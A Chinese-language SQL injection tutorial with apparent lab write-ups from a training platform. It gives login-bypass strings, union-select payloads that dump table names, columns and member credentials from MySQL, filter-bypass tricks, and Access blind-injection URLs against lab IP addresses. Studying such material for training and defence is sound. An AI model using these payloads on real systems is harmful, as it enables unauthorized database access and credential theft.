Sql注入:
就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。
一、万能密码
在说sql注入分类之前,先来看一下万能密码的构成原理。万能密码是由于某些程序,通过采用判断sql语句查询结果的值是否大于0,来判断用户输入数据的正确性造成的。当查询之大于0时,代表用户存在,返回true,代表登录成功,否则返回false 代表登录失败。由于 ‘or 1=1--' 在执行后,结果始终为1,所以可以登录成功。因此,被称为万能密码。
二、注入的分类
注入的分类:数字型和字符型。攻击者目的只有一点,那就是绕过程序的限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。
1、数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
2、字符型注入
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加单引号:select * from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
Mysql 有三种常用注释符:
-- 注意,这种注释符后边有一个空格
# 通过#进行注释
/* */ 注释掉符号内的内容
因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;
(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2 –’则会报错
如果满足以上三点,可以判断该url为字符型注入。
Sql注入分类可以按照参数类型分为数字型和字符型。还有一些常见的注入分类,例如:
(1)POST:注入字段位于POST数据中;
(2)Cookie:注入字段位于Cookie数据中;
(3)延时注入:根据数据库延时特性的注入
(4)搜索注入:注入字段在搜索的位置;
(5)base64注入:注入字符经过base64编码后注入;
(7)错误注入:基于数据库错误信息的响应注入;
sql注入思路:
如果作为一名黑客,根本无法知道系统中有哪些表,表中有哪些字段,那如何将数据库的内容窃取出来呢?
答案是MySQL数据有一个元数据库,它会描述整个MySQL服务器有哪些数据库,每个数据有哪些表,每个表有哪些字段,这就相当于把自家房子有什么宝贝统统告诉别人了。
那这个元数据库就一个根,只要抓住了这根据,沿着:
元数据库 -> 数据库列表->表列表->字段列表->表内容
这个树状分层的检索顺序,就可以将整个数据库内容全部窃取出来,下面就跟大家演示。
1.找注入点(?id=XXXX)
id=1 正常
id=1' 错误
and 1=1 and 1=2
说明存在数字型注入
2、猜字段数
union select 1
union select 1,2
....
union select 1,2,3,4 返回正常页面
说明 该表中有4个字段
3.查询相关内容
位置插入的预设函数;
user() 查看用户
database() --查看数据库名称
version() --查看数据库版本
@@datadir --数据库路径
@@version_compile_os--操作系统版本
system_user() --系统用户名
current_user()--当前用户名
session_user()--连接数据库的用户名
id=-1 union select 1,2,database(),4
得到数据库名为mozhe_discuz_stormgroup
查询数据库mozhe_discuz_stormgroup中的表
id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'
得到stormgroup_member,notice
查看stormgroup_member字段:
id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='stormgroup_member'
id,name,password,status
查看notice 字段:
id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='notice'
id,title,content,time
我们要的数据在stormgroup_member表里面:
id=-1 union select 1,concat(name,password),4 from stormgroup_member
查询数据
id=-1 union select 1,concat(name,'-',password,'-',status),3,4 from stormgroup_member
密码 md5 解密:
登录系统 得到key
墨者学院之XWAY科技管理系统V3.0手工注入
1.打开链接后,我试着随便输入一个账号,结果,这是个JS弹窗,按’确定‘后又回到原来界面了,所以注入点不在这
看了大神的wirte up才发现,注入点在图中这个位置,坑爹啊,我之前以为这就是动图之类的,没想到点开后跳转到另外一个界面了
2.从?id=1我们可可以得知这是个动态页面,试试id=1 正常 , id=1' 错误,and 1=1正常 and 1=2错误,说明存在数字型注入
3.order by 从1开始试,到5的时候出错,得知数据库有4列
4.id=-1 union select 1,2,3,4(注意这里要把id改为-1,原因参见sql语句union select的语法,而且空格要用/**/代替,否则返回错误后台PHP可能在union select位置将空格过滤了)后发现页面返回了
因此得知2,3列可以返回值,于是
哈哈,得到数据库的名称mozhe_Discuz_StormGroup和版本5.7.22-0ubuntu0.16.04.1
5.继续爆破数据库中的表id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'(注意这里空格还是有过滤,而且单引号也被过滤掉了,我们将table_schema='mozhe_discuz_stormgroup'改为table_schema=database()巧妙地绕过)
haha,成功得到表名StormGroup_member和notice
6.猜列名http://219.153.49.228:42360/new_list.php?id=-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_schema=database()
7.直接爆字段值http://219.153.49.228:42360/new_list.php?id=-1/**/union/**/select/**/1,2,group_concat(name,id,password),4/**/from/**/StormGroup_member
8.显然,密码是一个md5加密,账号mozhe
这个被禁用了
9.成功打入后台
三、ACCESS数据库注入(用exit语法盲注)
http://219.153.49.228:49482/new_list.asp?id=1 and 1=1
http://219.153.49.228:49482/new_list.asp?id=1 and 1=2
字段数
http://219.153.49.228:49482/new_list.asp?id=1 order by 4
//数据库名
//access数据库只有表名,没有库名的存在,所以直接猜解表名
//and 1=2 union select 1,2,3,4 这个在mysql注入直接就回显;但是access还要加上 from table才会回显
//http://219.153.49.228:49482/new_list.asp?id=1 and 1=2 union select 1,2,3,4
表名
http://219.153.49.228:49482/new_list.asp?id=1 and exists(select * from admin)
看看表有几行(几条信息),大概看下就可,没必要。
http://219.153.49.228:49482/new_list.asp?id=1 and (select count(*) from admin)>0
列名
http://219.153.49.228:49482/new_list.asp?id=1 and exists(select username from admin)
http://219.153.49.228:49482/new_list.asp?id=1 and exists(select passwd from admin)
http://219.153.49.228:49482/new_list.asp?id=1 and exists(select id from admin)
回显点
//access 数据库不需要 and 1=2 屏蔽原网页信息,也可以显示出信息位
http://219.153.49.228:49482/new_list.asp?id=1 union select 1,2,3,4 from admin
爆破
http://219.153.49.228:49482/new_list.asp?id=1 union select 1,username,passwd,4 from admin